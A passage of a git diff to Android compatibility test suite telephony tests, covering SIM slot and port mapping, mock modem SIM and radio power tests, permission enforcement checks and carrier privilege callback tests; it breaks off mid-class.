@@ -4116,7 +4388,7 @@
         TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
                 cmdBuilder.toString());
 
-        long arbitraryCompletionWindowSecs = 1L;
+        long arbitraryCompletionWindowMillis = 60000L;
 
         boolean isDataThrottlingSupported = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isRadioInterfaceCapabilitySupported(
@@ -4133,7 +4405,7 @@
                                 .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
                                         .setDataThrottlingAction(DataThrottlingRequest
                                                 .DATA_THROTTLING_ACTION_THROTTLE_SECONDARY_CARRIER)
-                                        .setCompletionDurationMillis(arbitraryCompletionWindowSecs)
+                                        .setCompletionDurationMillis(arbitraryCompletionWindowMillis)
                                         .build())
                                 .build()));
 
@@ -4169,7 +4441,7 @@
                                                     DataThrottlingRequest
                                                             .DATA_THROTTLING_ACTION_HOLD)
                                             .setCompletionDurationMillis(
-                                                    arbitraryCompletionWindowSecs)
+                                                    arbitraryCompletionWindowMillis)
                                             .build())
                                     .build()));
         } catch (IllegalArgumentException e) {
@@ -4243,6 +4515,7 @@
             return;
         }
 
+        boolean connectedToNrCell = false;
         for (CellInfo cellInfo : mTelephonyManager.getAllCellInfo()) {
             CellIdentity cellIdentity = cellInfo.getCellIdentity();
             int[] bands;
@@ -4260,11 +4533,21 @@
                             || (band >= AccessNetworkConstants.NgranBands.BAND_257
                             && band <= AccessNetworkConstants.NgranBands.BAND_261));
                 }
+                if (cellInfo.isRegistered()) {
+                    connectedToNrCell = true;
+                }
             } else {
                 continue;
             }
             assertTrue(bands.length > 0);
         }
+
+        if (connectedToNrCell) {
+            assertEquals(TelephonyManager.NETWORK_TYPE_NR, mTelephonyManager.getDataNetworkType());
+        } else {
+            assertNotEquals(TelephonyManager.NETWORK_TYPE_NR,
+                    mTelephonyManager.getDataNetworkType());
+        }
     }
 
     /**
@@ -4430,31 +4713,39 @@
         return (c >= '0' && c <= '9') || c == '*' || c == '#' || c == '+' || c == 'N';
     }
 
-    private int getValidSlotIndex() {
+    private Map.Entry<Integer, Integer> getValidSlotIndexAndPort() {
         return ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> {
+
                     List<UiccCardInfo> cardInfos = mTelephonyManager.getUiccCardsInfo();
                     Set<String> presentCards = Arrays.stream(mTelephonyManager.getUiccSlotsInfo())
                             .filter(Objects::nonNull)
-                            .filter(UiccSlotInfo::getIsActive)
+                            .filter(port -> port.getPorts().stream().anyMatch(portInfo ->
+                                    portInfo.isActive()))
                             .map(UiccSlotInfo::getCardId)
                             .filter(Objects::nonNull)
                             // hack around getUiccSlotsInfo not stripping trailing F
                             .map(s -> s.endsWith("F") ? s.substring(0, s.length() - 1) : s)
                             .collect(Collectors.toSet());
                     int slotIndex = -1;
+                    int portIndex = -1;
                     for (UiccCardInfo cardInfo : cardInfos) {
-                        if (presentCards.contains(cardInfo.getIccId())
-                                || presentCards.contains(cardInfo.getEid())) {
-                            slotIndex = cardInfo.getSlotIndex();
-                            break;
+                        for (UiccPortInfo portInfo : cardInfo.getPorts()) {
+                            if (presentCards.contains(portInfo.getIccId())
+                                    || presentCards.contains(cardInfo.getEid())) {
+                                slotIndex = cardInfo.getPhysicalSlotIndex();
+                                portIndex = portInfo.getPortIndex();
+                                Log.d(TAG, "SlotIndex : " + slotIndex + " and portIndex :"
+                                        + portIndex);
+                                break;
+                            }
                         }
                     }
                     if (slotIndex < 0) {
                         fail("Test must be run with SIM card inserted, presentCards = "
                                 + presentCards + "cardinfos = " + cardInfos);
                     }
-                    return slotIndex;
+                    return Map.entry(slotIndex, portIndex);
                 });
     }
 
@@ -4700,9 +4991,22 @@
     public void testCheckCarrierPrivilegesForPackageAnyPhone() {
         try {
             mTelephonyManager.checkCarrierPrivilegesForPackageAnyPhone(mSelfPackageName);
+            fail("TelephonyManager#checkCarrierPrivilegesForPackageAnyPhone must be protected "
+                    + "with READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException expected) {
+        }
+
+        try {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity(
+                            "android.permission.READ_PRIVILEGED_PHONE_STATE");
+            mTelephonyManager.checkCarrierPrivilegesForPackageAnyPhone(mSelfPackageName);
         } catch (SecurityException e) {
-            fail("TelephonyManager#checkCarrierPrivilegesForPackageAnyPhone shouldn't require "
-                    + "READ_PRIVILEGED_PHONE_STATE");
+            fail("TelephonyManager#checkCarrierPrivilegesForPackageAnyPhone should not throw "
+                    + "SecurityException with READ_PRIVILEGED_PHONE_STATE permission");
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
         }
     }
 
@@ -4766,5 +5070,162 @@
             // expected
         }
     }
+
+    @Test
+    public void testSimSlotMapping() {
+        if (!hasCellular()) return;
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_PHONE_STATE");
+        // passing slotMapping combination
+        UiccSlotMapping slotMapping1 = new UiccSlotMapping(0, 1, 1);
+        UiccSlotMapping slotMapping2 = new UiccSlotMapping(1, 0, 0);
+        List<UiccSlotMapping> slotMappingList = new ArrayList<UiccSlotMapping>();
+        slotMappingList.add(slotMapping1);
+        slotMappingList.add(slotMapping2);
+        try {
+            mTelephonyManager.setSimSlotMapping(slotMappingList);
+        } catch (Exception e) {
+            fail("Not Expected Fail, Error in setSimSlotMapping :" + e);
+        }
+        slotMappingList.clear();
+
+        // Duplicate logicalSlotIndex - Fail
+        UiccSlotMapping slotMapping3 = new UiccSlotMapping(0, 1, 0);
+        UiccSlotMapping slotMapping4 = new UiccSlotMapping(1, 0, 0);
+        slotMappingList.add(slotMapping3);
+        slotMappingList.add(slotMapping4);
+        try {
+            mTelephonyManager.setSimSlotMapping(slotMappingList);
+            fail("Expected IllegalArgumentException, Duplicate UiccSlotMapping data found");
+        } catch (IllegalArgumentException e) {
+            //expected
+        }
+        slotMappingList.clear();
+
+        // Duplicate {portIndex+physicalSlotIndex} - Fail
+        UiccSlotMapping slotMapping5 = new UiccSlotMapping(0, 1, 0);
+        UiccSlotMapping slotMapping6 = new UiccSlotMapping(0, 1, 1);
+        slotMappingList.add(slotMapping5);
+        slotMappingList.add(slotMapping6);
+        try {
+            mTelephonyManager.setSimSlotMapping(slotMappingList);
+            fail("Expected IllegalArgumentException, Duplicate UiccSlotMapping data found");
+        } catch (IllegalArgumentException e) {
+            //expected
+        }
+        slotMappingList.clear();
+
+        // Duplicate {portIndex+physicalSlotIndex+logicalSlotIndex} - Fail
+        UiccSlotMapping slotMapping7 = new UiccSlotMapping(0, 1, 0);
+        UiccSlotMapping slotMapping8 = new UiccSlotMapping(0, 1, 0);
+        slotMappingList.add(slotMapping7);
+        slotMappingList.add(slotMapping8);
+        try {
+            mTelephonyManager.setSimSlotMapping(slotMappingList);
+            fail("Expected IllegalArgumentException, Duplicate UiccSlotMapping data found");
+        } catch (IllegalArgumentException e) {
+            //expected
+        }
+        slotMappingList.clear();
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+
+    }
+
+    @Test
+    public void getUiccSlotInfoTest() {
+        UiccSlotInfo[] slotInfos = mTelephonyManager.getUiccSlotsInfo();
+
+        if (slotInfos == null) {
+            return;
+        }
+
+        // Call below methods to make sure it doesn't crash.
+        for (UiccSlotInfo slotInfo : slotInfos) {
+            slotInfo.getIsEuicc();
+            slotInfo.getCardId();
+            slotInfo.getCardStateInfo();
+            slotInfo.getIsExtendedApduSupported();
+            slotInfo.isRemovable();
+            for (UiccPortInfo portInfo :slotInfo.getPorts()) {
+                portInfo.isActive();
+                portInfo.getIccId();
+                portInfo.getLogicalSlotIndex();
+                portInfo.getPortIndex();
+            }
+        }
+    }
+
+    @Test
+    public void getSimSlotMappingTestReadPermission() {
+        if (!hasCellular()) return;
+        try {
+            Collection<UiccSlotMapping> simSlotMapping = mTelephonyManager.getSimSlotMapping();
+            fail("Expected SecurityException, no READ_PRIVILEGED_PHONE_STATE permission");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testIgnoreInvalidNetworkType() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        // NETWORK_TYPE_BITMASK_LTE_CA is invalid, should be converted into NETWORK_TYPE_BITMASK_LTE
+        long invalidAllowedNetworkTypes = TelephonyManager.NETWORK_TYPE_BITMASK_NR
+                | TelephonyManager.NETWORK_TYPE_BITMASK_LTE_CA;
+        long expectedAllowedNetworkTypes = TelephonyManager.NETWORK_TYPE_BITMASK_NR
+                | TelephonyManager.NETWORK_TYPE_BITMASK_LTE;
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER,
+                            invalidAllowedNetworkTypes));
+
+            long deviceAllowedNetworkTypes = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> {
+                        return tm.getAllowedNetworkTypesForReason(
+                                TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER);
+                    }
+            );
+            assertEquals(expectedAllowedNetworkTypes, deviceAllowedNetworkTypes);
+        } catch (SecurityException se) {
+            fail("testIgnoreInvalidNetworkType: SecurityException not expected");
+        }
+    }
+
+    @Test
+    public void getSimSlotMappingTest() {
+        if (!hasCellular()) return;
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.READ_PRIVILEGED_PHONE_STATE");
+        try {
+            Collection<UiccSlotMapping> simSlotMapping = mTelephonyManager.getSimSlotMapping();
+            assertTrue(isSlotMappingValid(simSlotMapping));
+        } catch (IllegalArgumentException e) {
+            fail("IllegalArgumentException, Duplicate UiccSlotMapping data found");
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity();
+        }
+    }
+    private static boolean isSlotMappingValid(@NonNull Collection<UiccSlotMapping> slotMapping) {
+        // Grouping the collection by logicalSlotIndex, finding different entries mapping to the
+        // same logical slot
+        Map<Integer, List<UiccSlotMapping>> slotMappingInfo = slotMapping.stream().collect(
+                Collectors.groupingBy(UiccSlotMapping::getLogicalSlotIndex));
+        for (Map.Entry<Integer, List<UiccSlotMapping>> entry : slotMappingInfo.entrySet()) {
+            List<UiccSlotMapping> logicalSlotMap = entry.getValue();
+            if (logicalSlotMap.size() > 1) {
+                // duplicate logicalSlotIndex found
+                return false;
+            }
+        }
+        return true;
+    }
 }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
new file mode 100644
index 0000000..81850a8
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
@@ -0,0 +1,322 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static android.telephony.mockmodem.MockSimService.MOCK_SIM_PROFILE_ID_TWN_CHT;
+
+import static com.android.internal.telephony.RILConstants.INTERNAL_ERR;
+import static com.android.internal.telephony.RILConstants.RIL_REQUEST_RADIO_POWER;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.os.SystemProperties;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.NetworkRegistrationInfo;
+import android.telephony.ServiceState;
+import android.telephony.TelephonyManager;
+import android.telephony.mockmodem.MockModemManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import java.util.Arrays;
+import java.util.concurrent.TimeUnit;
+
+/** Test MockModemService interfaces. */
+public class TelephonyManagerTestOnMockModem {
+    private static final String TAG = "TelephonyManagerTestOnMockModem";
+    private static MockModemManager sMockModemManager;
+    private static TelephonyManager sTelephonyManager;
+    private static final String ALLOW_MOCK_MODEM_PROPERTY = "persist.radio.allow_mock_modem";
+    private static final boolean DEBUG = !"user".equals(Build.TYPE);
+    private static boolean sIsMultiSimDevice;
+
+    @BeforeClass
+    public static void beforeAllTests() throws Exception {
+        Log.d(TAG, "TelephonyManagerTestOnMockModem#beforeAllTests()");
+
+        if (!hasTelephonyFeature()) {
+            return;
+        }
+
+        enforceMockModemDeveloperSetting();
+        sTelephonyManager =
+                (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
+
+        sIsMultiSimDevice = isMultiSim(sTelephonyManager);
+
+        //TODO: Support DSDS b/210073692
+        if (sIsMultiSimDevice) {
+            Log.d(TAG, "Not support MultiSIM");
+            return;
+        }
+
+        sMockModemManager = new MockModemManager();
+        assertNotNull(sMockModemManager);
+        assertTrue(sMockModemManager.connectMockModemService());
+    }
+
+    @AfterClass
+    public static void afterAllTests() throws Exception {
+        Log.d(TAG, "TelephonyManagerTestOnMockModem#afterAllTests()");
+
+        if (!hasTelephonyFeature()) {
+            return;
+        }
+
+        //TODO: Support DSDS b/210073692
+        if (sIsMultiSimDevice) {
+            return;
+        }
+
+        // Rebind all interfaces which is binding to MockModemService to default.
+        assertNotNull(sMockModemManager);
+        assertTrue(sMockModemManager.disconnectMockModemService());
+        sMockModemManager = null;
+    }
+
+    @Before
+    public void beforeTest() {
+        assumeTrue(hasTelephonyFeature());
+        //TODO: Support DSDS b/210073692
+        assumeTrue(!sIsMultiSimDevice);
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+
+    private static boolean hasTelephonyFeature() {
+        final PackageManager pm = getContext().getPackageManager();
+        if (!pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return false;
+        }
+        return true;
+    }
+
+    private static boolean isMultiSim(TelephonyManager tm) {
+        return tm != null && tm.getPhoneCount() > 1;
+    }
+
+    private static void enforceMockModemDeveloperSetting() throws Exception {
+        boolean isAllowed = SystemProperties.getBoolean(ALLOW_MOCK_MODEM_PROPERTY, false);
+        // Check for developer settings for user build. Always allow for debug builds
+        if (!isAllowed && !DEBUG) {
+            throw new IllegalStateException(
+                "!! Enable Mock Modem before running this test !! "
+                    + "Developer options => Allow Mock Modem");
+        }
+    }
+
+    private int getRegState(int domain) {
+        int reg;
+
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.READ_PHONE_STATE");
+
+        ServiceState ss = sTelephonyManager.getServiceState();
+        assertNotNull(ss);
+
+        NetworkRegistrationInfo nri =
+                ss.getNetworkRegistrationInfo(domain, AccessNetworkConstants.TRANSPORT_TYPE_WWAN);
+        assertNotNull(nri);
+
+        reg = nri.getRegistrationState();
+        Log.d(TAG, "SS: " + nri.registrationStateToString(reg));
+
+        return reg;
+    }
+
+    @Test
+    public void testSimStateChange() throws Throwable {
+        Log.d(TAG, "TelephonyManagerTestOnMockModem#testSimStateChange");
+
+        int slotId = 0;
+        int simCardState = sTelephonyManager.getSimCardState();
+        Log.d(TAG, "Current SIM card state: " + simCardState);
+
+        assertTrue(
+                Arrays.asList(TelephonyManager.SIM_STATE_UNKNOWN, TelephonyManager.SIM_STATE_ABSENT)
+                        .contains(simCardState));
+
+        // Insert a SIM
+        assertTrue(sMockModemManager.insertSimCard(slotId, MOCK_SIM_PROFILE_ID_TWN_CHT));
+        simCardState = sTelephonyManager.getSimCardState();
+        assertEquals(TelephonyManager.SIM_STATE_PRESENT, simCardState);
+
+        // Check SIM state ready
+        simCardState = sTelephonyManager.getSimState();
+        assertEquals(TelephonyManager.SIM_STATE_READY, simCardState);
+
+        // Remove the SIM
+        assertTrue(sMockModemManager.removeSimCard(slotId));
+        simCardState = sTelephonyManager.getSimCardState();
+        assertEquals(TelephonyManager.SIM_STATE_ABSENT, simCardState);
+    }
+
+    @Test
+    public void testRadioPowerToggle() throws Throwable {
+        Log.d(TAG, "TelephonyManagerTestOnMockModem#testRadioPowerToggle");
+
+        int radioState = sTelephonyManager.getRadioPowerState();
+        Log.d(TAG, "Radio state: " + radioState);
+
+        // Toggle radio power
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    sTelephonyManager,
+                    (tm) -> tm.toggleRadioOnOff(),
+                    SecurityException.class,
+                    "android.permission.MODIFY_PHONE_STATE");
+        } catch (SecurityException e) {
+            Log.d(TAG, "TelephonyManager#toggleRadioOnOff should require " + e);
+        }
+
+        // Wait the radio state update in Framework
+        TimeUnit.SECONDS.sleep(2);
+        int toggleRadioState =
+                radioState == TelephonyManager.RADIO_POWER_ON
+                        ? TelephonyManager.RADIO_POWER_OFF
+                        : TelephonyManager.RADIO_POWER_ON;
+        assertEquals(sTelephonyManager.getRadioPowerState(), toggleRadioState);
+
+        // Toggle radio power again back to original radio state
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
+                    sTelephonyManager,
+                    (tm) -> tm.toggleRadioOnOff(),
+                    SecurityException.class,
+                    "android.permission.MODIFY_PHONE_STATE");
+        } catch (SecurityException e) {
+            Log.d(TAG, "TelephonyManager#toggleRadioOnOff should require " + e);
+        }
+
+        // Wait the radio state update in Framework
+        TimeUnit.SECONDS.sleep(2);
+        assertEquals(sTelephonyManager.getRadioPowerState(), radioState);
+
+        Log.d(TAG, "Test Done ");
+    }
+
+    @Test
+    public void testRadioPowerWithFailureResults() throws Throwable {
+        Log.d(TAG, "TelephonyManagerTestOnMockModem#testRadioPowerWithFailureResults");
+
+        int radioState = sTelephonyManager.getRadioPowerState();
+        Log.d(TAG, "Radio state: " + radioState);
+
+        int slotId = 0;
+        int toggleRadioState =
+                radioState == TelephonyManager.RADIO_POWER_ON
+                        ? TelephonyManager.RADIO_POWER_OFF
+                        : TelephonyManager.RADIO_POWER_ON;
+
+        // Force the returned response of RIL_REQUEST_RADIO_POWER as INTERNAL_ERR
+        sMockModemManager.forceErrorResponse(slotId, RIL_REQUEST_RADIO_POWER, INTERNAL_ERR);
+
+        boolean result = false;
+        try {
+            boolean state = (toggleRadioState == TelephonyManager.RADIO_POWER_ON) ? true : false;
+            result =
+                    ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                            sTelephonyManager,
+                            (tm) -> tm.setRadioPower(state),
+                            SecurityException.class,
+                            "android.permission.MODIFY_PHONE_STATE");
+        } catch (SecurityException e) {
+            Log.d(TAG, "TelephonyManager#setRadioPower should require " + e);
+        }
+
+        TimeUnit.SECONDS.sleep(1);
+        assertTrue(result);
+        assertNotEquals(sTelephonyManager.getRadioPowerState(), toggleRadioState);
+
+        // Reset the modified error response of RIL_REQUEST_RADIO_POWER to the original behavior
+        // and -1 means to disable the modifed mechanism in mock modem
+        sMockModemManager.forceErrorResponse(slotId, RIL_REQUEST_RADIO_POWER, -1);
+
+        // Recovery the power state back to original radio state
+        try {
+            boolean state = (radioState == TelephonyManager.RADIO_POWER_ON) ? true : false;
+            result =
+                    ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(
+                            sTelephonyManager,
+                            (tm) -> tm.setRadioPower(state),
+                            SecurityException.class,
+                            "android.permission.MODIFY_PHONE_STATE");
+        } catch (SecurityException e) {
+            Log.d(TAG, "TelephonyManager#setRadioPower should require " + e);
+        }
+        TimeUnit.SECONDS.sleep(1);
+        assertTrue(result);
+        assertEquals(sTelephonyManager.getRadioPowerState(), radioState);
+    }
+
+    @Test
+    public void testServiceStateChange() throws Throwable {
+        Log.d(TAG, "TelephonyManagerTestOnMockModem#testServiceStateChange");
+
+        int slotId = 0;
+
+        // Insert a SIM
+        sMockModemManager.insertSimCard(slotId, MOCK_SIM_PROFILE_ID_TWN_CHT);
+
+        // Expect: Seaching State
+        TimeUnit.SECONDS.sleep(2);
+        assertEquals(
+                getRegState(NetworkRegistrationInfo.DOMAIN_CS),
+                NetworkRegistrationInfo.REGISTRATION_STATE_NOT_REGISTERED_SEARCHING);
+
+        // Enter Service
+        Log.d(TAG, "testServiceStateChange: Enter Service");
+        sMockModemManager.changeNetworkService(slotId, MOCK_SIM_PROFILE_ID_TWN_CHT, true);
+
+        // Expect: Home State
+        TimeUnit.SECONDS.sleep(2);
+        assertEquals(
+                getRegState(NetworkRegistrationInfo.DOMAIN_CS),
+                NetworkRegistrationInfo.REGISTRATION_STATE_HOME);
+
+        // Leave Service
+        Log.d(TAG, "testServiceStateChange: Leave Service");
+        sMockModemManager.changeNetworkService(slotId, MOCK_SIM_PROFILE_ID_TWN_CHT, false);
+
+        // Expect: Seaching State
+        TimeUnit.SECONDS.sleep(2);
+        assertEquals(
+                getRegState(NetworkRegistrationInfo.DOMAIN_CS),
+                NetworkRegistrationInfo.REGISTRATION_STATE_NOT_REGISTERED_SEARCHING);
+
+        // Remove the SIM
+        sMockModemManager.removeSimCard(slotId);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java
index 9d22ed8..367643c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyRegistryManagerTest.java
@@ -2,6 +2,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
@@ -13,10 +14,13 @@
 import android.telephony.SignalStrength;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
+import android.telephony.TelephonyManager.CarrierPrivilegesCallback;
 import android.telephony.TelephonyRegistryManager;
 import android.text.TextUtils;
 import android.util.Pair;
 
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
 import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -24,6 +28,7 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import java.util.Set;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
@@ -56,6 +61,19 @@
         }
     }
 
+    /**
+     * expect security exception as there is no carrier privilege permission.
+     */
+    @Test
+    public void testNotifyCarrierNetworkChangeWithSubscription() {
+        try {
+            mTelephonyRegistryMgr.notifyCarrierNetworkChange(
+                    SubscriptionManager.getDefaultSubscriptionId(), /*active=*/ true);
+            fail("Expected SecurityException for notifyCarrierNetworkChange with subscription");
+        } catch (SecurityException expected) {
+        }
+    }
+
     @Test
     public void testNotifyCallStateChangedForAllSubscriptions() throws Exception {
         Context context = InstrumentationRegistry.getContext();
@@ -253,4 +271,144 @@
         assertEquals(testValue, result);
     }
 
+    @Test
+    public void testCarrierPrivilegesCallback() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+
+        LinkedBlockingQueue<Pair<Set<String>, Set<Integer>>> carrierPrivilegesQueue =
+                new LinkedBlockingQueue(2);
+        LinkedBlockingQueue<Pair<String, Integer>> carrierServiceQueue = new LinkedBlockingQueue(2);
+
+        CarrierPrivilegesCallback cpc = new TestCarrierPrivilegesCallback(carrierPrivilegesQueue,
+                carrierServiceQueue);
+        CarrierPrivilegesCallback cpc2 = new TestCarrierPrivilegesCallback(carrierPrivilegesQueue,
+                carrierServiceQueue);
+
+        TelephonyManager telephonyManager = context.getSystemService(TelephonyManager.class);
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    telephonyManager,
+                    tm -> tm.registerCarrierPrivilegesCallback(0, context.getMainExecutor(), cpc));
+            // Clear the initial carrierPrivilegesResult from registering the listener. We can't
+            // necessarily guarantee this is empty so don't assert on it other than the fact we
+            // got _something_. We restore this at the end of the test.
+            Pair<Set<String>, Set<Integer>> initialCarrierPrivilegesState =
+                    carrierPrivilegesQueue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            assertNotNull(initialCarrierPrivilegesState);
+            Pair<String, Integer> initialCarrierServiceState =
+                    carrierServiceQueue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            assertNotNull(initialCarrierServiceState);
+
+            // Update state
+            Set<String> privilegedPackageNames =
+                    Set.of("com.carrier.package1", "com.carrier.package2");
+            Set<Integer> privilegedUids = Set.of(12345, 54321);
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyRegistryMgr,
+                    trm -> {
+                        trm.notifyCarrierPrivilegesChanged(
+                                0, privilegedPackageNames, privilegedUids);
+                        trm.notifyCarrierServiceChanged(0, "com.carrier.package1", 12345);
+                    });
+            Pair<Set<String>, Set<Integer>> carrierPrivilegesResult =
+                    carrierPrivilegesQueue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            assertEquals(privilegedPackageNames, carrierPrivilegesResult.first);
+            assertEquals(privilegedUids, carrierPrivilegesResult.second);
+
+            Pair<String, Integer> carrierServiceResult =
+                    carrierServiceQueue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            assertEquals("com.carrier.package1", carrierServiceResult.first);
+            assertEquals(12345, (long) carrierServiceResult.second);
+
+            // Update the state again, but only notify carrier privileges change this time
+            Set<String> newPrivilegedPackageNames = Set.of("com.carrier.package1",
+                    "com.carrier.package3");
+            Set<Integer> newPrivilegedUids = Set.of(12345, 678910);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyRegistryMgr,
+                    trm -> {
+                        trm.notifyCarrierPrivilegesChanged(
+                                0, newPrivilegedPackageNames, newPrivilegedUids);
+                    });
+            // The CarrierPrivileges pkgs and UIDs should be updated
+            carrierPrivilegesResult =
+                    carrierPrivilegesQueue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            assertEquals(newPrivilegedPackageNames, carrierPrivilegesResult.first);
+            assertEquals(newPrivilegedUids, carrierPrivilegesResult.second);
+
+            // And the CarrierService change notification should NOT be triggered
+            assertNull(carrierServiceQueue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS));
+
+            // Registering cpc2 now immediately gets us the most recent state
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    telephonyManager,
+                    tm -> tm.registerCarrierPrivilegesCallback(0, context.getMainExecutor(), cpc2));
+            carrierPrivilegesResult = carrierPrivilegesQueue.poll(TIMEOUT_MILLIS,
+                    TimeUnit.MILLISECONDS);
+            assertEquals(newPrivilegedPackageNames, carrierPrivilegesResult.first);
+            assertEquals(newPrivilegedUids, carrierPrivilegesResult.second);
+
+            carrierServiceResult = carrierServiceQueue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            assertEquals("com.carrier.package1", carrierServiceResult.first);
+            assertEquals(12345, (long) carrierServiceResult.second);
+
+            // Removing cpc means it won't get the final callback when we restore the original state
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    telephonyManager, tm -> tm.unregisterCarrierPrivilegesCallback(cpc));
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyRegistryMgr,
+                    trm -> {
+                        trm.notifyCarrierPrivilegesChanged(
+                                0, initialCarrierPrivilegesState.first,
+                                initialCarrierPrivilegesState.second);
+                        trm.notifyCarrierServiceChanged(0, initialCarrierServiceState.first,
+                                initialCarrierServiceState.second);
+                    });
+
+            carrierPrivilegesResult = carrierPrivilegesQueue.poll(TIMEOUT_MILLIS,
+                    TimeUnit.MILLISECONDS);
+            assertEquals(initialCarrierPrivilegesState.first, carrierPrivilegesResult.first);
+            assertEquals(initialCarrierPrivilegesState.second, carrierPrivilegesResult.second);
+
+            carrierServiceResult = carrierServiceQueue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            assertEquals(initialCarrierServiceState.first, carrierServiceResult.first);
+            assertEquals(initialCarrierServiceState.second, carrierServiceResult.second);
+
+            // No further callbacks received
+            assertNull(carrierPrivilegesQueue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS));
+            assertNull(carrierServiceQueue.poll(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS));
+        } finally {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    telephonyManager,
+                    tm -> {
+                        tm.unregisterCarrierPrivilegesCallback(cpc); // redundant, but still allowed
+                        tm.unregisterCarrierPrivilegesCallback(cpc2);
+                    });
+        }
+    }
+
+    private class TestCarrierPrivilegesCallback implements CarrierPrivilegesCallback {
+        LinkedBlockingQueue<Pair<Set<String>, Set<Integer>>> mCarrierPrivilegesQueue;
+        LinkedBlockingQueue<Pair<String, Integer>> mCarrierServiceQueue;
+
+        TestCarrierPrivilegesCallback(
